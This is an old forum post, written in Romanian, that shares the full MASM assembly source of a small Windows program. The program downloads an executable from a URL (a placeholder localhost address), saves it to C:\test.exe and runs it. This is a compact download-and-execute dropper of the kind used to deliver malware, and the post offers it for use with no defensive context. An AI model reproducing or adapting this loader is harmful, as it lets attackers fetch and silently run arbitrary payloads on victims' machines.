SlicK Posted June 14, 2007 Report Posted June 14, 2007 Asamblat cu MASM. Executabilul are in jur de 1.3KB.386.model flat, stdcalloption casemap:noneinclude \masm32\include\windows.incinclude \masm32\include\kernel32.incinclude \masm32\include\wininet.incincludelib \masm32\lib\wininet.libincludelib \masm32\lib\kernel32.lib.dataURL db 'http://127.0.0.1/test.exe',0 ;fiserul de downloadatSAVE db 'C:\test.exe',0 ;locatia unde sa fie salvatagent db 'Internet Explorer',0 ;user agentul pentru request; handle'uriih dd 0uh dd 0fh dd 0; bufferebuffer dd 0temp dd 0.codestart: invoke GlobalAlloc,GPTR,16302 ;alocam un buffer pentru stocarea fisierului (16302 bytes are testul meu) mov buffer,eax ;stocam valoarea returata invoke InternetOpen,addr agent,0,0,0,0 ;deschidem interfata wininet mov ih,eax invoke InternetOpenUrl,ih,addr URL,0,0,0,0 ;facem requestul mov uh,eax invoke InternetReadFile,uh,buffer,16302,addr temp ;citim fisierul in buffer invoke CloseHandle,uh ;inchidem handle'urile invoke CloseHandle,ih invoke CreateFile,addr SAVE,GENERIC_WRITE,FILE_SHARE_WRITE,0,CREATE_ALWAYS,FILE_ATTRIBUTE_NORMAL,0 ;creem fisierul mov fh,eax invoke WriteFile,fh,buffer,16302,addr temp,0 ;scriem bufferul in fisier invoke CloseHandle,fh ;inchidem fisierul invoke WinExec,addr SAVE,SW_SHOWNORMAL ;executam fisierul downloadat invoke ExitProcess,0 ;inchidem procesulend start Quote